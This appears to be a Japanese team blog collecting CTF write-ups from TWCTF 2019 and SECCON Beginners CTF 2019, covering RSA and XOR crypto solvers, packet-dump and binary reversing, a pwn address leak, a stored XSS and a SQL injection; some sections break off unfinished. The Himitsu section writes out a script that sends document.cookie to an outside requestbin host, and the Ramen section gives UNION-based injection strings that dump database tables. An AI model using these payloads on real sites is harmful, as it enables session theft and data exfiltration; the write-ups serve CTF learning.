TWCTF 5TH 2019 Crypto Writeup(+2) Crypto道場[2/100]
おひさしぶりです。duckです。
最近全くCTFをやっていないのでCrypto道場と題してCrypt100題解くまで頑張る会やります。
解説は最小限にするので、わからないところはコメントいただければ気が付き次第対応します。
応援よろしく！
さて記念すべき最初の問題は
今週末に行われたTWCTFから2題解いたのでそこから。
１．real-baby-rsa
与えられたのはcodeとoutputファイル。
flag = 'TWCTF{CENSORED}' # Public Parameters N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 # Encrypt the flag! for char in flag: print(pow(ord(char), e, N))
output
Dropbox - output - Simplify your life
code
Dropbox - problem.py - Simplify your life
flagとして使われる文字列を推測してencryptしてoutputファイルの中身と比較するだけ。
flag = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}' # Public Parameters N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 enc=[] ans="" for char in flag: enc.append(str(pow(ord(char), e, N)) + "\n") with open("output", mode='r') as f: lines=f.readlines() for line in lines: k=0 for encnum in enc: if encnum == line: ans = ans + flag[k] break k=k+1 print (ans)
flag：TWCTF{padding_is_important}
2. simple_logic
codeとoutputファイルが配布。
code
Dropbox - encrypt.rb - Simplify your life
output
Dropbox - output - Simplify your life
code:
message + key
message XOR keyを765回繰り返す暗号化方式。
output:
暗号化されたflagと平文と暗号文のペア６つが与えられる。どれも同じkeyで暗号化されたものと推測される。
（出なきゃ解けない）
指針：
keyは下位ビットから順番に決めていけることに気が付いたので、4bitずつ＊32回でkeyを復元。
key復元の際には与えられたペアの暗号化が正しく行えるかどうかを用いた。
require 'securerandom' require 'openssl' ROUNDS = 765 BITS = 128 PAIRS = 6 def encrypt(msg, key) enc = msg mask = (1 << BITS) - 1 ROUNDS.times do enc = (enc + key) & mask enc = enc ^ key end enc end def decrypt(msg, key) enc = msg mask = (1 << BITS) - 1 ROUNDS.times do enc = enc ^ key enc = (enc - key) & mask end enc end #4bitずつ下位ビットを埋めていく再帰的運用 def DecideLowestBit(relowbitkey,lowestbit) #encrypt(plain_example[i])=enc_exsample[i] plain_example=[0x29abc13947b5373b86a1dc1d423807a,0xeeb83b72d3336a80a853bf9c61d6f254,0x7a0e5ffc7208f978b81475201fbeb3a0, 0xc464714f5cdce458f32608f8b5e2002e,0xf944aaccf6779a65e8ba74795da3c41d,0x552682756304d662fa18e624b09b2ac5] enc_exsample=[0xb36b6b62a7e685bd1158744662c5d04a,0x614d86b5b6653cdc8f33368c41e99254,0x292a7ff7f12b4e21db00e593246be5a0, 0x64f930da37d494c634fa22a609342ffe,0xaa3825e62d053fb0eb8e7e2621dabfe7,0xf2ffdf4beb933681844c70190ecf60bf] ans_low_key=[] maxloop=2 ** 4 for loop in 1..maxloop do #決定した下位ビット＋未決定の上位ビット templowbitkey=relowbitkey | (loop << (lowestbit - 4)) mask=(1 << lowestbit) - 1 for pair in 0..(PAIRS - 1) do lowplain=plain_example[pair] & mask lowenc=enc_exsample[pair] & mask if (encrypt(lowplain,templowbitkey)) & mask != lowenc then break end end if pair == (PAIRS - 1) then ans_low_key.push(templowbitkey) end end return ans_low_key end def CalcKey key_array=[0] for loop in 1..32 do temp_array=[] key_array.each do |lowkey| decide_array=DecideLowestBit(lowkey,4*loop) decide_array.each do |decidekey| temp_array.push(decidekey) end end key_array=temp_array end return key_array end key_array=CalcKey() encrypt_flag=0x43713622de24d04b9c05395bb753d437 key_array.each do |key| puts "ans %x" % decrypt(encrypt_flag,key) end
flag:TWCTF{ade4850ad48b8d21fa7dae86b842466d}
phoenixの途中の記事が気になって夜も眠れない。
chickが送るBeginners CTF 2019 Dump(Misc)の解説
はじめまして、chickです。
DumpのWriteUpを書きます。
(ほぼ)ワンライナーなので参考にはなりにくいかも...
DLしたdumpファイルをWiresharkなどで開くと、こんな感じ
になる。
ざっと見た感じ、ICMP,TCP,HTTPのパケットしかないようなので、適当にHTTPパケットに目星をつけた。
とりあえず抽出したらWebshellでhexdumpを投げてるっぽいので、戻りパケットのHTMLファイルをエクスポート(追跡->HTTPストリーム->保存)する。
中を見たら8進数3文字区切りの文字列が出てきたので、読めるようにしていく。
cat dump_export | sed 1,17d | head -n -2 | tr " " "\n" | sed s/^/0/g | while read line; do printf %x\\n $line; done | sed /^.$/i0 | tr -d "\n" | xxd -r -p > bin_export
これでフラグが入っているファイルが復元できるので、小分けにして解説していきます。
cat dump_export <- エクスポートしたファイルをcatする。これをしないと何も始まらない。
sed 1,17d <- 1〜17行目がHTMLのタグとかヘッダ情報で邪魔だったので消す。
head -n -2 <- 末尾2行もタグの括りで邪魔だったので消す。
tr " " "\n" <- 16進数に変換するときにスペース区切りだと都合が悪いので改行させる。
sed s/^/0/g <- 3文字区切りだと16進数に変換するときに都合が悪かったので行頭に0を追加する。
while read line; do printf %x\\n $line; done <- printfコマンドで1行ずつ16進数に変換していく。
sed /^.$/i0 <- 16進数に変換したときに先頭に0を足してくれなかったので足す。
tr -d "\n" <- バイナリ的に改行が邪魔なので消す。
xxd -r -p > bin_export <- 16進数のバイナリをファイルに復元する
fileコマンドで見たらgzipだったので展開したらtarアーカイブファイルが出てきたので展開
ファイルの展開まで1行で書くなら、
cat dump_export | sed 1,17d | head -n -2 | tr " " "\n" | sed s/^/0/g | while read line; do printf %x\\n $line; done | sed /^.$/i0 | tr -d "\n" | xxd -r -p > bin_export && tar -zxf bin_export
画像ファイルが出てくるので、開いてみるとFlagが出てきた。
いつかtcpdumpコマンドとsed,awkあたりでダンプファイルのエクスポートまでワンライナーで書きたい。
duckが送るBeginners CTF 2019 Leakage(Reversing)の解説
お久しぶりです。duckです。
今回はLeakageの解説になります。なりますが、あんまりよくはわかってないです。よくわからないけど分岐で張ってたら解けました。
まあ書いていきましょう。前回が難易度高かったので、なるべく優しく書きます。
ファイルをDLしたら、tar.gzファイルなので ”tar -zxvf ファイル名”で解凍します。
（→[Linux]ファイルの圧縮、解凍方法 - Qiita)
謎のファイルleakageがゲットできたと思います。
謎なのでfileコマンドをうってみましょう。 
いろいろ書いてありますが、1行目にだけ注目しましょう。ELFって書いてあります。なんかこれはWindowsでいうexeファイルのようなもので、つまりは実行ファイルらしいです。へー。そうなのか。
じゃあ実行しよう。実行は"./leakage"でできます。
怒られます。許可がありませんとかでます。
なのでchmodコマンドで許可します。
"chmod 774 leakage"か"chmod a+x leakage"とかでいけるでしょう。たぶん。
(→chmod コマンド - Qiita)
さて実行できるようになったので、実行してみましょう。
”./leakage”！！！怒られます。なんなんだまったく。
flag知らんがな。それを知りたいんだよ。
というわけで、なんとか"falcon"で手を打ってもらえないか聞いてみます。
まあつまりこのプログラムからFLAGを取り出せればいいんでしょう。がんばるぞい。
というわけで、アセンブリ見た。
（→アセンブリに触れてみよう - Qiita）
まずはGUIで見たいのでIDAで見てみた。（初心者が雑に紹介するCTF ～bin編～ - Qiita）
どこで分岐するのかだけはわかった。引用したサイトにも書いてあるが、IDAはメモリの書き換えができない？らしいので分岐を見るためだけに使うことにした。
ということでここからはgdbというLinuxに標準で搭載せれているデバッガを使っていく。こいつはメモリ書き換えもできる。レジスタ書き換えもできる。えらい。
噂によるとcmpとtestという命令 が分岐をつかさどるといっても過言ではないようだ。
(正確には分岐に使われるフラグを書き換える人たち。分岐の操作はjzとかjeが行うらしい→インラインアセンブラで学ぶアセンブリ言語 第3回 (1/3)：CodeZine（コードジン）)
上の画像にもtest命令があるが、これはフェイクだ。
eaxレジスタを書き換えて、無理やり条件を満たさせてみたところ（やり方は後で）correctとでた。
それだけである。FLAGは教えてもらえない。悲しい。
ずいぶん遠回りしたが、次のステップに進もう。ぼんやりアセンブリを見てると怪しい関数がいることに気が付く。
そうis_correctだ。明らかにこいつが、FLAGと入力との比較を行っている関数だろう。
こいつを見る。
書くのに飽きてきたので明日続きを書く。
gdbについては
gdbの使い方のメモ - ももいろテクノロジー
のページを参考にさせていただいた。
phoenixが送るBeginners CTF 2019 OneLine(Pwn)の解説
はじめまして、チームfalconのヒーローことphoenixです。
本日より、Beginners CTF 2019のWriteUpを書い参ります。
待望の１回目は、OneLine(Pwn)です。
まず、Pwnのことを知らない人がいると思うので簡単に説明しておくと、 Pwnはサーバ上で動作しているプログラムの脆弱性を突いてflagをゲットする問題です。
例えば今回の問題では、 サーバが 153.120.129.186:10000(IPアドレス:ポート番号)であり、そのサーバにつないだ際に動作しているプログラムの脆弱性を突くことになります。 以下は、実際にサーバにつないだ際のプログラムの反応です。
$ nc 153.120.129.186 10000 You can input text here! >>
今回はサーバプログラム(oneline)とそのプログラムが使う共有ライブラリ(libc-2.27.so)が用意されているため、それらをダウンロードしてローカル環境で脆弱性の解析を行います。
まずは、fileコマンドとchecksecを用いてonelineについての情報（ファイルタイプ，セキュリティ機構の有無）を調べます。
$ file oneline oneline: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=34fd51e025f282f2e06259d36a690436147b04f3, not stripped $checksec --file oneline RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH oneline
これより，onelineがx86_64環境で動作する実行ファイルであり，Full RELRO・PIE・NX bitのセキュリティ機構が施されているこが確認できます。
今回の問題においては，Full RELROとNX bitについて特に気にする必要はないのですが，PIEについては注意が必要です。 PIEは，実行ファイルを物理メモリ上にロードするときにランダムな位置に配置可能にするために，アドレス参照をすべて相対アドレスにするというものです。(以下の図を参考)
PIEが施されることによって，実行ファイル内の任意のアドレスの命令を実行させることの難易度が高くなってしまいます。（アドレスのリークを行い，相対アドレスから実行させたい命令のアドレスを求めるといった作業が必要になるため）
$objdump -d -M intel oneline
000000000000086d <main>:
86d: 55 push rbp
86e: 48 89 e5 mov rbp,rsp
871: 48 83 ec 10 sub rsp,0x10
875: be 01 00 00 00 mov esi,0x1
87a: bf 28 00 00 00 mov edi,0x28
87f: e8 7c fe ff ff call 700 <calloc@plt>
884: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
:
いきなり難しいことを考えても仕方がないので，とりあえず実行してみることにしましょう。
$ nc 153.120.129.186 10000
You can input text here!
>> A
A
@a Once more again!
>> A
A
入力を2回求められたので，とりあえず2回とも'A'と入力してみました。 すると，1回目の'A'を入力したあとには，Once more again!という返事があり，2回目の'A'を入力した後には何も返事はなくプルグラムが終了してしまいました。
。。。 ちょっと1回目の返事に着目してみましょう。先ほどOnce more again!という返事があったと書きましたが，何やらその前に空白と@aという文字あることにお気づきでしょうか？
それでは，もう一度同じようにサーバにつないで'A'を入力してみましょう。
$ nc 153.120.129.186 10000
You can input text here!
>> A
A
@k' Once more again!
>> A
A
.。。。 なんと，同じ入力にも関わらず今度は@aではなく@k'という返事がOnce more again!の前について返ってきたのです。
これらが何を表しているのかを調べるためhexdumpで出力した結果が次です。
$ echo A | ./oneline | hexdump -C 00000000 59 6f 75 20 63 61 6e 20 69 6e 70 75 74 20 74 65 |You can input te| 00000010 78 74 20 68 65 72 65 21 0a 3e 3e 20 41 0a 00 00 |xt here!.>> A...| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 b0 23 e2 b4 |.............#..| 00000040 ca 7f 00 00 4f 6e 63 65 20 6d 6f 72 65 20 61 67 |....Once more ag| 00000050 61 69 6e 21 0a 3e 3e 20 |ain!.>> | 00000058 $ echo A | ./oneline | hexdump -C 00000000 59 6f 75 20 63 61 6e 20 69 6e 70 75 74 20 74 65 |You can input te| 00000010 78 74 20 68 65 72 65 21 0a 3e 3e 20 41 0a 00 00 |xt here!.>> A...| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 b0 d3 39 53 |..............9S| 00000040 59 7f 00 00 4f 6e 63 65 20 6d 6f 72 65 20 61 67 |Y...Once more ag| 00000050 61 69 6e 21 0a 3e 3e 20 |ain!.>> | 00000058
Once more again の前の内容を確認すると，
b0 23 e2 b4 ca 7f
b0 d3 39 53 59 7f
勘の良い人はこれを逆から読んで，共有ライブラリの何かの関数のアドレスを示していることに気づくと思います。
実際にこのアドレスが何かを調べるために，ローカル環境のASLRを無効にし，gdbで調べてみます。
$ sudo sysctl kernel.randomize_va_space=0 $ echo A | ./oneline | hexdump -C 00000000 59 6f 75 20 63 61 6e 20 69 6e 70 75 74 20 74 65 |You can input te| 00000010 78 74 20 68 65 72 65 21 0a 3e 3e 20 41 0a 00 00 |xt here!.>> A...| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 b0 03 b0 f7 |................| 00000040 ff 7f 00 00 4f 6e 63 65 20 6d 6f 72 65 20 61 67 |....Once more ag| 00000050 61 69 6e 21 0a 3e 3e 20 |ain!.>> | 00000058 $ gdb -q ./oneline gdb-peda$ b main gdb-peda$ r gdb-peda$ info symbol 0x7ffff7b003b0 write in section .text of /lib/x86_64-linux-gnu/libc.so.6
どうやらwriteのアドレスがリークしているようですね。
（続く）
supereggが送るBeginners CTF 2019 Himitsu(web)の解説
こんにちは、supereggです。duckさん、タイトルを「CTFと共に生きる」にするという提案、賛成です（笑）
今回はBeginners CTF 2019のWebの問題であるHimitsuを初心者に向けで解説していこうと思います。
まず問題のサイトにアクセスします。
https://himitsu.quals.beginners.seccon.jp/
サイトにアクセスすると次のような画面が出てきます。
とりあえず、登録してみましょう。
作成してみましょう。
下の方をを見ると、ページのタイトルを埋め込んだり、文字を太字で表示できるようです。
適当に記事を書いて投稿してみます
すると「もし一人で秘密を抱えるのが大変であれば、ぜひ運営に共有してください。」といった文章が出てきます。怪しいですね。これは運営のヒントと考えます。
このヒントを考えてみると、運営に記事を送信し、記事を共有することにより、flagが得られるということが予想できます。ここで注目するワードは「共有」という部分です。相手に記事を読ませることによる攻撃、つまりXSSの可能性が高いです。
スクリプトをどうやって仕込んでいくか考えていきましょう。
ここでもらってコードを読んでいこうと思います。
コードを読んでいくと、ArticleController.phpの中に怪しいコメントがしてある部分を発見できます。
// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
preg_match_all('/\[#(.*?)#\]/', $body, $matches);
foreach(range(0, count($matches)-1) as $i){
$found_article_key = $matches[1][$i];
$found_article = $mapper->getArticle($found_article_key);
if (preg_match('/[<>"\']/', $found_article['title'])){
return $this->app->renderer->render($response, 'new.twig', [
'error_message' => '埋め込み先の記事タイトルが不正です。',
'title' => $data['title'],
'abstract' => $data['abstract'],
'body' => $data['body'],
'token' => $this->get_csrf_token($request)
]);
}
}
ここで置き換えていけない、[#.....#]はタイトルを変更可能だから、ここで置き換えろと言っています。
どうやらこれは運営からのヒントと捉えることができるのではないでしょうか。
コードを読むと、本文に、[#....#]を埋め込んで投稿する際に、<,>が入っていると、エラー文を吐くように構成されています。つまり、予め作ってある記事のタイトルにスクリプトを埋め込んで呼び出すことはできないと分かります。
コメントの中の「replace」は、スクリプトを埋め込むこととして考えると、ここでreplaceしてはいけない、つまり投稿する際は無害のタイトルを呼び出すようにし、投稿した後にreplaceすることによってスクリプトを埋め込むことが出来る方法・・・？？？
サイトに本文を投稿した後にタイトルを変更する方法はないぞ？？
ここでArticleMapping.php記事IDを生成している部分を見てみると、
public function createArticle($username, $title, $abstract, $body) {
$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);
とあります。記事IDはユーザ名、日付、タイトルの３つの値を連結させた文字列をハッシュ関数であるmd5により生成されたハッシュ値であることが分かります。
ユーザ名、日付、タイトルの３つの値を使うということは何時にどのユーザでどのようなタイトルで投稿すると決めていれば、未来で投稿される記事IDを予め本文に埋め込むことができます。このように記事IDを未来予知できることがこのサイトの脆弱性です。
この脆弱性を突き、運営のクッキー情報を自分のwebサーバに送りようなjavascriptのコードを運営のブラウザで実行させ、盗むことにより、運営のログインページにアクセスしてflagを取ることがゴールです。
次のようなスクリプトを運営のブラウザで実行させることを考えます。
<script>document.write("<img src='http://requestbin.fullcontact.com/XXX/?" + document.cookie + ">'")</script>
このコードは、
http://requestbin.fullcontact.com/XXXというアドレスのドキュメントルートの中の?document.cookieという画像ファイルをページに表示させるというコードになります。(画像ファイルである必要はありません）document.cookieはブラウザのクッキー情報です。画像ファイルをサーバにリクエストを送らせることが目的です。
今回は自分でwebサーバを立てるのはめんどくさいので、
requestbin.fullcontact.com
というHTTPリクエストをみることができるwebサービスを使っています。
それでは、未来の記事IDを生成しましょう。
egg2019/05/29 23:<script>document.write("<img src='http://requestbin.fullcontact.com/xxxxxxx/?" + document.cookie + ">'")</script>Linuxだと上記の内容のテキストファイルを作成したあと、
$md5sum テキストファイル名
で生成できます。
記事IDが生成できたら、本文に記事IDを[#...#]を使って埋め込んで記事を生成します。（この際、タイトルなどはなんでも構いません）
次に先ほどテキストファイルに記述した日時に、テキストファイルで指定したjavascriptのコードを書いて投稿します。
この段階で先ほど投稿した記事を開くとスクリプトが発動するようになっています。
よってこのスクリプトを仕込んだ記事を運営に送り付けてやりましょう。
duckが送るBeginnersCTF2019 BitFlip（Crypto)の解説 Not初心者向け
どうもduckです。最近は仕事とctfしかしてません。ブログタイトル「CTFと共に生きる」とかにしません？
今回はCryptoのラスボスBitFlipです。いろんな方のwriteupを読ませていただきましたが、使われている数学について解説しているwriteupはないんじゃないか？
私がやるしかないな！（需要？なにそれおいしいの？）
まずはもらったコードから
まず最初に思いつく方法はブルートフォースです。
が、美しくないうえ、サーバーから全てのReturnの情報を得なければならないので割愛します。
（ついでに言えば途中で運営側からBitFlipのサーバーにアクセスしすぎだよ自重しろというお達しもありました。つまりはブルートフォース以外の方法があるはず）
気になる方はこちらの方のWriteupを見るとよいです。
SECCON Beginners CTF 2019 - Qiita
さてここから数学のお話。
今回私の記事の中では
(ただし1番下位のbitを０bitとします)
（サーバーから返ってくる値）
として話を進めます。
となることにも注意しておきます。(Flipが0→1のときは＋、1→0のときは-)
また、書くのが面倒なのでこれ以降と書くのをやめます。適宜置き換えてください。
まず、サーバーにアクセスして
となる
をゲットしましょう。よほど運が悪くなければ２回でゲットできます。
もちろんこの段階ではどのビットが反転されたのかわかりませんのでn,mは不明です。
ーーーーー
目標は、平文が線形関係であるときに用いることができるFranklin-Reiter Related Message Attackを行うことです。
と表せるとき、
の暗号文と公開鍵
がわかれば、平文
を求められることを使います。
まあ後でもう少しだけ解説します。
ーーーーー
1.Coppersmith’s Short Pad Attackする
でありこれを
とおきます。
そうすると
...①
...②
と表せます。
このsさえ求まればFranklin-Reiter Related Message Attackが使える形になります。
ここで
の多項式を考えます。(
を未知数xに置き換えただけ)
の解は
を含むことは明らかです。（つまり共通解をもつ）
この性質から、sを求めるのに終結式を使います。（終結式の定義については割愛します。終結式の定義といくつかの性質 | 高校数学の美しい物語）
終結式は共通解をもつ二つの多項式に対しては０になるという性質を持ちます。
つまりから終結式を計算して、それが０になることからｓを求めます。
終結式の計算にはシルベスター行列の行列式を使います。(終結式の定義といくつかの性質 | 高校数学の美しい物語)
今回の場合は以下のようになります。
こっから先は手計算では無理だ。
アホなので手計算でシルベスターの行列式計算しました。
sの大きさに注意しつつプログラムに投げましょう。後でやります。（おい）Sagemathがpythonライクでおすすめだった気がします。
mathematicaとかフリーで使えたっけ？使えるならそっちでも。
sのサイズが大きすぎるため、このままプログラムに投げるにはとしていい値が来ないと計算無理です。
何回も問題サーバーにアクセスして解けるパターンを待ってもいいですが、今回はわかってる情報からsがある程度絞り込めるのでそれを利用します。
の形なのがわかっているので、これを使い
回くらい終結式を計算すればよいことがわかります。
今回はmax(n)として250くらいを取りました。
このmax(n)は実験中にサーバーサクセスを繰り返してたときに推測した値です。
これでSagemathをつかわなくともsが求まります。
以下くそコード。
N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331 e = 3 #max(n) nm = 250 C1 = 19668512534871703818804721058464184088540192186216654188589585883263154008964228350399514299852538811337835790238510703474647742023573370430287373841543674974547734434937124159068497046659147350241364684829208188803795307462087810637640642350674397153687260268727800582499681256385837706667398671154929189579 C2 = 44939803625275977251911534717835431979049524856461188120868461571121976859707514547338914366715426490130522458001402249990220314314873155256383447002643583335186960138112746521599509022925369612324695641201278318699732590955718931066187237603506202339345820308234883558809220466506231185260966657450242854347 #2べきを先にリストに格納 list2 = [] t = 1 ans = 0 i = 0 while i <= nm: list2.append(t) t = t * 2 t = t % N i += 1 #sを表示する def result(s,n,m,l): print(s,n,m,l) ans = s #ブルートフォース for n in range(nm): for m in range(nm)[n+1:nm]: #2^m + 2^n or 2^m - 2^n s = (list2[m] + list2[n]) % N if solve(s): result(s,n,m,0) elif solve(-s): result(s,n,m,1) #2^m - 2^n or 2^n - 2^m s = (list2[m] - list2[n]) % N if solve(s): result(s,n,m,2) elif solve(-s): result(s,n,m,3)
solve関数が消えていますが、うえで示した終結式に代入して、＝ならTrue ,
ならFalseを返すだけの関数です。
結果はこちら
383123885216472214589586756787577295904680382499389440 42 178 3
今回のケースでは
FLAGの42bit目が０→１反転したものと、178bit目が1→０反転したものであることがわかりました。
まあさえ知ってれば大体OKですが。
2．Franklin-Reiter Related Message Attackする
...①
...②
のsが1で求まったとします。
です。
この時は
で求まります。（雑）
もうちょっとだけ解説を加えます。
は多項式版ユークリッドの互除法をして、最大公約多項式を求めろということです。
整数のユークリッドの互除法とおんなじです。そしたら答えがわかります。（雑）
例を挙げます。
の最大公約単項式を求めてみましょう。
頑張ってユークリッドの互除法をすると以下のようになります。
ということは
となっていることを意味します。
つまり共通因数がわかったってことだ！！
これ見たらの共通解はどう見ても１やんけ！ってなわけですね。
は共通解
を持つことがわかっているので、
は必ず１ではない多項式です。
ほとんどの場合で、それは1次多項式でありとなりますから
がわかります。
（まれにが２次式以上になりますが、それを解いて
を求めるのはかなりめんどくさいのでおとなしく
の選択からやり直すのをおすすめします。）
実際にやってみた結果。（Sagemathを使いました。sympyだと整数環上でしかできなかったためあきらめた。）
PRx.<x> = PolynomialRing(Zmod(N)) g1 = x^e - c1 g2 = (x+s)^e - c2 while g2: g1, g2 = g2, g1 % g2 print(g1.monic())
結果。
つまり
bit反転させるのが筋ですが、もうめんどいのでこのまま復号します。
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime,long_to_bytes N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331 m = -82212154592315489750110187598968636841905821953623851870053845076997511568524415687534405445330110037385522700226033733612223434284079949332614038131717774815337863135195292470488899872185912270098336585556230191588353421626879687269516794206695695261382777258681677254870347368455087826235419500816586773161 m = m % N print(long_to_bytes(m))
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMIYDUMMYDUMMYDUMMYDUMMY\n
反転さぼった影響で赤い部分の文字が変わってますね。（気になる人は178bit目を反転させましょう）まあもうFLAG出たしいいでしょう。
お疲れさまでした。
supereggが送るBeginners CTF 2019[warmup]Ramen(Web)の解説
どうもこんにちは、supereggです。今回がBeginnersCTF2019にWebの問題である「Ramen」の解説をしたいと思います。
まずは問題のサイトにアクセスします。
https://ramen.quals.beginners.seccon.jp/
めちゃめちゃ美味しそうですね。私はラーメンが大好きなので嬉しいです。
まず以下の入力フォームとそのしたの表に注目します
名前を検索できる入力フォームがあり、その下にラーメン屋の店員の名前と一言が書いてあります。
入力フォームがあるので、まずはSQLインジェクションが使えないかチェックみようと思います。
SQLインジェクションとは・・・アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。 また、その攻撃を可能とする脆弱性のことである。(あ（引用:wikipedia）>>https://ja.wikipedia.org/wiki/SQL%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3>>
SQLインジェクションが使えるかどうか判断する方法として典型的なものとして「'(シングルクォーテーション)を1つ入力するとエラーメッセージが表示されるというものがあります。
何故判断できるのかを簡単に説明すると入力フォームで入力されてきた値は普通すべて、特殊な意味を持たない文字列として扱うようにしなければなりません。そのため、「'」などのメタキャラクタ（特殊な意味を持つ文字）はエスケープして「'」を特殊な意味を持たない文字列として扱うようにしなければなりません。（PHPの場合は\'）もし「'」をエスケープしていなかった場合、入力フォームから入力されてきた値で予期しないSQL文が実行されることになるのです。
それでは実際に入力フォームに「'」を入れてみましょう。
次にSEARCHボタンをクリック」すると・・・
何やらエラー文が出てきました。index.phpの11行目のエラーだそうです。(本来ならリリースの段階では画面にエラー表示はさせないようになっているのが常識なのですがCTFではこのようにエラーが画面に表示するように設定している場合があるそうです。エラーメッセージが画面に表示しない設定の場合は、開発者ツールでHTTPステータスコードを確認すれば内部エラーが起きたかどうか判断できます。（エラーコードは500））
何故エラーになるのかというと、
SLECT * FROM users WHERE name=''';
となり、シングルクォーテーションが1つ余計になり、SQLのシンタックスエラーになり、それがPHP側で表示されます。
これでSQLインジェクションを使えばいいというのがほぼ確定になりました。
次にどのRDBMS(データベースソフトのこと）が使われているのか判別します。
代表的なRDBMSの中には「MySQL」、「PostgreSQL」、「SQLite」があります。
この3つの書式の違いでまずあるのがコメントアウトです。
- MySQL 「#」
- PostgreSQL 「--」
- SQLite 「--」
となります。
この3つなら「#」コメントをつけることが出来たらMySQLだと決めつけることができます。
早速判断するために試してみましょう。
なんとエラーが出ませんでした。MySQLが使われているということが分かりましたね。
エラーが出ない理由は以下のように最後の「'」が#でコメントアウトされているからです
''#'
これにより、好きなSQL文を実行できるようになります。なんと恐ろしい( ﾟДﾟ)
RDBMSではユーザが定義する領域の他に、そのデータ領域のメタ情報（テーブルやカラムの情報）を保持する領域が作られます。
MySQLの場合はINFORMATION_SCHEMAとして定義されていて、データベースの形態をとっていて、SQL文により中身の情報を取り出すことが可能です。
次の文字列を検索フォームに入力すると、データベース名とカラム名を表示させることができます。
'union select table_name, column_name from information_schema.columns#
入力してSEARCHボタンを押すと、データベースが結合されて、たくさん値が表示されますが、下の方までスクロールすると怪しげなデータベース名とカラム名が表示されています。
これによってflagというテーブルのfragというカラムに求めるものがあると考えられます。これでなかったら逆にヤバイですよね。
上のコードの意味は、information_schemaの中のculumnsテーブルの中のtable_nameとcolumn_nameとう名前（これはinformation_schemaの中で定義されている）のカラムを画面に表示されているデータベースのにunionを使って結合させています。そして内部プログラムは以下のようになっています。
select * from users where name='' union select table_name, column_name from information_schema.columns#'
このように「'」をエスケープしていなければSQL文を実行できます。今回はunionを使っていますが、ANDやORを使って好き勝手にSQLをぶっ放すことが出来ます。例えば
select * from users where name=''OR 1=1#'
ですべて真にしたり・・・
次に
'union select flag,"hello" from flag#
を入力すると（"hello"の部分はデータベースを結合させるときにカラムの数合わせにてきとうに入れた値なのでなんでもいいです）
すると・・・
